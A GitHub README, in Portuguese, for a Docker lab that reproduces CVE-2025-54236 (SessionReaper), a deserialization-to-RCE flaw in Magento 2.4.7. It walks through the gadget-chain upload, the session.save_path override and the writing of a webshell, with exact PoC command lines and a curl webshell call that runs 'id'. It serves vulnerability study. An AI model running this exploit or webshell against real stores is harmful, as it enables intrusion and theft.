brito101/session_reaper_lab
GitHub: brito101/session_reaper_lab
Stars: 0 | Forks: 0
# CVE-2025-54236 - SessionReaper Lab
Ambiente Docker para demonstração prática da **CVE-2025-54236** (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7.
## Sobre a vulnerabilidade
**CVE-2025-54236** afeta Magento Open Source e Adobe Commerce até a versão 2.4.7. O método `ServiceInputProcessor::getConstructorData()` aceita parâmetros aninhados via JSON que permitem sobrescrever `session.save_path` - a pasta onde o PHP armazena os arquivos de sessão.
**Cadeia de exploração:**
1. Um arquivo PHP serializado (gadget chain `Guzzle/FW1` via phpggc) é enviado via `/customer/address_file/upload`, que o salva em `pub/media/customer_address/s/e/sess_`.
2. Uma requisição à REST API injeta `{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}` como parâmetro de construtor.
3. O PHP chama `session_start()` com o PHPSESSID fabricado, deserializa o gadget chain e escreve um webshell em `pub/errors/`.
**Pré-requisito:** sessões PHP configuradas como `file-based` (não Redis/Memcached).
- CVSS: 9.1 (Critical)
- Versões afetadas: Magento Open Source / Adobe Commerce ≤ 2.4.7
## Estrutura do repositório
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
## Requisitos
- Docker Engine 24+
- Docker Compose v2 (`docker compose`)
- PHP CLI (para o phpggc) **ou** Docker com imagem `ambionics/phpggc` disponível
- **phpggc** - [https://github.com/ambionics/phpggc](https://github.com/ambionics/phpggc)
- O `session_reaper.py` busca o binário em: PATH do sistema, `~/phpggc/phpggc`, `/opt/phpggc/phpggc` e, como fallback, puxa a imagem Docker `ambionics/phpggc` automaticamente
- Python 3.8+ com `requests` (`pip install requests`)
- WSL2 / Linux (no WSL2, pode ser necessário: `sudo sysctl -w vm.max_map_count=262144` para o Elasticsearch)
## Instalação
cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
O `install.sh` faz:
- Build da imagem PHP customizada
- Sobe os 5 containers (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
- Clona o Magento 2.4.7 via Git (sem Marketplace account)
- Executa `composer install --no-dev`
- Roda `setup:install` com sessões `file-based`
- Define modo `default` (não `developer` - evita que warnings PHP 8.2 virem exceções)
- Desabilita 2FA para acesso facilitado ao admin
- Executa `setup:static-content:deploy`
- Corrige permissões `www-data` em todos os estágios
## Executando o exploit
Após a instalação, do diretório raiz (`/magento/`):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Verificar RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Método alternativo** (vetor `address`, com produto real):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
## Credenciais do lab
| Serviço | URL / Host | Credencial |
|---------|-----------|------------|
| Loja Magento | http://localhost:8080/ | - |
| Admin Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
## Monitoramento
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
## Limpeza
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
## Detalhes técnicos
**Por que aspas simples no webshell?**
O phpggc `Guzzle/FW1` serializa o payload como JSON: `[{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]`. O conteúdo do PHP é JSON-encoded, então `"` vira `\"`. Usar `$_GET["cmd"]` resultaria em `$_GET[\"cmd\"]` - parse error do PHP. A solução é escrever o webshell com aspas simples: `$_GET['cmd']`.
**Por que modo `default` e não `developer`?**
O Magento em modo `developer` converte todos os PHP warnings em exceções. O PHP 8.2 emite `Warning: Trying to access array offset on null` em `lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114`, que vira uma exceção 500 no admin. Em modo `default` o warning é ignorado.
**Por que os arquivos ficam em `s/e/`?**
O Magento organiza uploads de endereço em `pub/media/customer_address/{1º char}/{2º char}/filename`. Para arquivos `sess_*`, o primeiro caractere é `s` e o segundo é `e`, resultando sempre em `pub/media/customer_address/s/e/`.
## Referências
- [NVD - CVE-2025-54236](https://nvd.nist.gov/vuln/detail/CVE-2025-54236)
- [PoC original - alexb616/SessionReaper-CVE-2025-54236](https://github.com/alexb616/SessionReaper-CVE-2025-54236)
- [phpggc - ambionics/phpggc](https://github.com/ambionics/phpggc)
- [Adobe Security Bulletin APSB25-94](https://helpx.adobe.com/security/products/magento/apsb25-94.html)